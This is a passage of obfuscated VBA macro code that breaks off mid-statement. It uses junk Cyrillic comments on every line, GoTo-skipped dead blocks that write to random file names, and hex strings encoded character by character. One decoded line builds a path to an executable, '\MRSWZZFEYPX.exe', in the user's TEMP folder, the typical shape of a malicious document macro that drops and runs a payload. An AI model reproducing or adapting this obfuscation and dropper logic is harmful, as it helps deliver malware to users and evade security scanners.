ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "QQBFRK.UTA" For Binary As 68 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #68, , NMgJftHW 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #68 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа rMrTLalM: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа MSPOJTMU = LTrim(IYVYGKJX) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim NZGBPEDD, DIAZDJJC, BFDTFTMU As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo tSFGncBf 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim aSVaWZxg As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "QUJLWE.UAL" For Binary As 67 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #67, , aSVaWZxg 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #67 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа tSFGncBf: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа NZGBPEDD = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo IlWsTBeu 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim RlycBeni As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "NCWTCJ.XJC" For Binary As 24 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #24, , RlycBeni 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #24 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа IlWsTBeu: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа DIAZDJJC = LTrim(NZGBPEDD) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo bwsBfsRP 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim mwwqIjzS As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "FFVHBR.PIA" For Binary As 14 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #14, , mwwqIjzS 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #14 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа bwsBfsRP: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа BFDTFTMU = RTrim(DIAZDJJC) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo GUpyFaqJ 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim PUmkoyIL As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "ERZZZK.BVR" For Binary As 36 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #36, , PUmkoyIL 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #36 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GUpyFaqJ: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo LtYjZxWV 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim GyJEXnlB As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "THDUWE.APH" For Binary As 41 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #41, , GyJEXnlB 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #41 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа LtYjZxWV: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа YKXSLLCK = RTrim(MSPOJTMU) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo VZymFwMf 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim MEhYobkg As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "IZNOZZ.RXZ" For Binary As 55 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #55, , MEhYobkg 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #55 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа VZymFwMf: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim QFYWRCKZ, UFHUVZHE, ZGALLYDR As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo CITvBEpe 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim LOGPlUUr As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "UTDQUY.EBG" For Binary As 56 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #56, , LOGPlUUr 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #56 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа CITvBEpe: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа QFYWRCKZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo uaSxaEDQ 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim ezXIwUqS As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "SFHPIY.IIK" For Binary As 69 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #69, , ezXIwUqS 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #69 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа uaSxaEDQ: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа UFHUVZHE = LTrim(QFYWRCKZ) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo gtWDEcAX 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim qytBCZBC As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "HHMLXE.SPC" For Binary As 81 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #81, , qytBCZBC 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #81 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа gtWDEcAX: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа ZGALLYDR = RTrim(UFHUVZHE) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo BBwPdHqR 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim MNTCUWIT As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "AEEOBM.CCY" For Binary As 59 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #59, , MNTCUWIT 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #59 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа BBwPdHqR: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo YeziXGgm 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim ZrdljLSw As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "BGVETS.WON" For Binary As 21 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #21, , ZrdljLSw 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #21 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа YeziXGgm: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа pJjokbn = Environ(HEXTOSTRING(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HEXTOSTRING(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(57) & Chr$(53) & Chr$(48) & Chr$(53) & Chr$(56) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim KMPBRSFT, FMLQVHSY, OWECLMOI As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim BABDGYVJ, ECYUZNJI, OKGZGWIN As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo WjLGZqpf 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim JkraCgUg As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "YXMMXC.ZHX" For Binary As 43 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #43, , JkraCgUg 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #43 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа WjLGZqpf: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа BABDGYVJ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo IJrNAbOH 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim EKfsXEuJ As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "NOBBWR.XRA" For Binary As 28 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #28, , EKfsXEuJ 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #28 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа IJrNAbOH: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа ECYUZNJI = LTrim(BABDGYVJ) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo PEhyKTrk 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim YRbkdOAl As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "AZTZEU.CXU" For Binary As 35 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #35, , YRbkdOAl 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #35 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа PEhyKTrk: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа OKGZGWIN = RTrim(ECYUZNJI) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo CtVxBCLn 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim LtiIlzjA As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "UHXPUH.EPV" For Binary As 51 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #51, , LtiIlzjA 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #51 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа CtVxBCLn: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа GoTo NHpAhegz 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim WJlDPiSr As String 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Open "ZVCTNN.VKN" For Binary As 58 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Put #58, , WJlDPiSr 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Close #58 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа NHpAhegz: 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа KMPBRSFT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(69) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) 'щОШЩзруц ащрцушгщартцшщуатщлцуаоьмо09уге-щцзушзхвдбжяджчмтзштцушпртмшзуршрШЩИТЖа Dim LVREFDQB, 